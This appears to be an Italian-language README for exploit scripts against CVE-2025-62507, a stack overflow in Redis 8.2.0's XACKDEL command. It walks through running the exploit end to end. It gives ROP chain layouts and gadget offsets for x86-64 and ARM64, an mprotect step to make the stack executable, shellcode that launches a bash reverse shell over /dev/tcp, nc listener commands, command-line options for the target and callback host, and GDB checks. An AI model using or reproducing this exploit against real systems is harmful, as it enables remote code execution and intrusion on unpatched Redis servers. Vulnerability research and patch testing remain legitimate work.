Exploit Scripts — CVE-2025-62507
Struttura delle directory
scripts/
├── exploit_x86.py # Exploit ROP x86-64
├── exploit_arm64.py # Exploit ROP ARM64 (AArch64)
└── gdb_with_symbols.sh # Script di supporto al debug con GDB
Riepilogo della vulnerabilità
| Elemento | Descrizione |
|---|
| CVE | CVE-2025-62507 |
| Tipo di vulnerabilità | Overflow del buffer dello stack (Stack Buffer Overflow) |
| Componente interessato | Funzione xackdelCommand di Redis 8.2.0 |
| Modalità di attivazione | Comando XACKDEL con più di 52 streamID |
| Tecnica di sfruttamento | Catena ROP → mprotect per abilitare l'esecuzione dello stack → shellcode per reverse shell |
| Dipendenze | Python 3 (solo libreria standard, nessuna installazione aggiuntiva) |
Prerequisiti
- Ambiente target: container Docker o host che esegue Redis 8.2.0 (versione vulnerabile)
- Terminale di ascolto: sulla macchina attaccante avviare
nc -lvnp 4444 in attesa della reverse shell
- Permesso di accesso agli indirizzi: necessità di leggere
/proc/<PID>/maps del processo target (permessi di root)
- Python 3: entrambi gli script exploit usano solo librerie standard (
socket, struct, time, sys)
Avvio rapido
1. Avviare il container Redis vulnerabile
# Eseguire dalla directory radice del progetto
docker compose -f docker-compose-vulnerable.yml up -d
# Verificare che il container sia in esecuzione
docker ps | grep redis-cve-2025-62507
2. Ottenere gli indirizzi di memoria critici
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# Ottenere indirizzi per x86-64
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
Nota: dopo ogni riavvio del container gli indirizzi cambiano (ASLR), è necessario recuperarli di nuovo.
3. Avviare l'ascolto per la reverse shell
# Aprire un altro terminale sull'host
nc -lvnp 4444
4. Eseguire l'exploit
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (indirizzi fissi QEMU Docker, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
exploit_x86.py — Exploit ROP x86-64
Utilizzo
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
Parametri
Architettura della catena ROP
52 ID di riempimento (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
Offset dei gadget (redis-server-8.2.0)
Personalizzazione dell'indirizzo della reverse shell
La variabile reverse_shell_cmd è definita alla riga 149 dello script, con valore predefinito:
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
Metodo di modifica: modificare exploit_x86.py, trovare la riga reverse_shell_cmd e sostituire IP e porta:
Modifica della porta: sostituire 4444 in /dev/tcp/<IP>/4444 con la porta di ascolto effettiva.
stack_page viene calcolata dinamicamente in base al parametro stack_addr: (stack_addr + 0x1000) & ~0xFFF, per garantire che la finestra di mprotect copra l'area dello stack in cui si trova lo shellcode. Se il layout dello stack è anomalo, è necessario regolare di conseguenza.
exploit_arm64.py — Exploit ROP ARM64
Utilizzo
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
Parametri
Nota ARM64: stack_addr è il valore di SP all'ingresso di xackdelCommand (non l'indirizzo di inizio del segmento [stack]!). static_ids[0] = stack_addr - 0x310, il saved x30 di call() si trova a stack_addr + 8 (cioè static_ids[49].seq).
Architettura della catena ROP
49 ID di riempimento (1-1)
│
▼
ID#49-58 Telaio di epilogo di call() (10 ID) — sovrascrive i registri salvati e le variabili locali di call()
│ #49: saved x29 (dummy) + x30 (G5)
│ #50: saved x19/x20, #51: saved x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: variabili locali (impostate a 0)
│
▼ ret di call() → SP = stack_addr + 0xa0
│
ID#59-61 Passo 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Passo 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Passo 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Passo 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Passo 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Passo 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Passo 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
Importante: l'epilogo di call() prima di ret ripristina x19-x28 dallo stack e legge diverse variabili locali. ID#49-58 devono essere riempiti con valori sicuri, altrimenti l'esecuzione dell'epilogo si blocca. La catena ROP inizia da ID#59 (posizione di SP dopo il ret di call()).
Offset dei gadget (redis-server-8.2.0-arm64)
Offset dei gadget (libc.so.6-arm64, all'interno del container Docker)
Nota: LDR_X1_SIDELOAD ha l'effetto collaterale mov x0, x1; dopo l'esecuzione x0 viene sovrascritto da x1! Successivamente è necessario reimpostare x0 usando G5 o LDR_X0_CLEAN.
Personalizzazione dell'indirizzo della reverse shell
reverse_shell_cmd viene costruita dinamicamente nella funzione build_exploit_arm64() in base ai parametri rev_shell_host e rev_shell_port:
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"
Metodo consigliato: specificare l'indirizzo della reverse shell tramite parametri da riga di comando:
# Predefinito: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0
# Indirizzo e porta personalizzati per la reverse shell:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
# ^^^^^^^^ ^^^^ ^^^^^^^^^^
# rev_host rev_port target
Modifica diretta: modificare exploit_arm64.py, modificare i valori predefiniti dei parametri nella funzione exploit():
Debug con GDB
Utilizzo di gdb_with_symbols.sh
# Ottenere il PID di Redis
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# Avviare GDB e impostare automaticamente i breakpoint
./scripts/gdb_with_symbols.sh $REDIS_PID
Lo script automaticamente:
- Carica la tabella dei simboli di
binaries/redis-server-8.2.0
- Imposta un breakpoint su
xackdelCommand
- Imposta un breakpoint su
mprotect
- Imposta un breakpoint su
system
Posizioni chiave dei breakpoint
# Ingresso di xackdelCommand — osservare il layout normale dello stack
break xackdelCommand
# Dopo la scrittura del 53° streamID — osservare la sovrascrittura dell'indirizzo di ritorno
# (impostare un breakpoint condizionale all'interno del ciclo)
# Prima della chiamata a mprotect — verificare i parametri rdi/rsi/rdx
break mprotect
# Prima della chiamata a system — verificare che rdi punti alla stringa del comando
break system
Verifica dei passaggi chiave dell'exploit
# 1. Dopo essere entrati in xackdelCommand, trovare la posizione dell'array static_ids
(gdb) x/10gx $rbp - 0x340 # x86-64
(gdb) x/10gx $sp # ARM64
# 2. Quando il breakpoint su mprotect viene attivato, verificare i parametri
(gdb) info registers rdi rsi rdx # x86-64
(gdb) info registers x0 x1 x2 # ARM64
# Atteso: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7
# 3. Dopo il ritorno da mprotect, controllare RAX/X0 (=0 indica successo)
(gdb) finish
(gdb) info registers rax # x86-64
(gdb) info registers x0 # ARM64
# 4. Osservare l'esecuzione dello shellcode
(gdb) x/20i $rsp # x86-64: shellcode dopo call rsp
(gdb) x/20i $x30 # ARM64: indirizzo di ritorno prima del salto
Risoluzione dei problemi
Pulizia dell'ambiente
# Fermare e rimuovere il container
docker compose -f docker-compose-vulnerable.yml down
Riferimenti ai file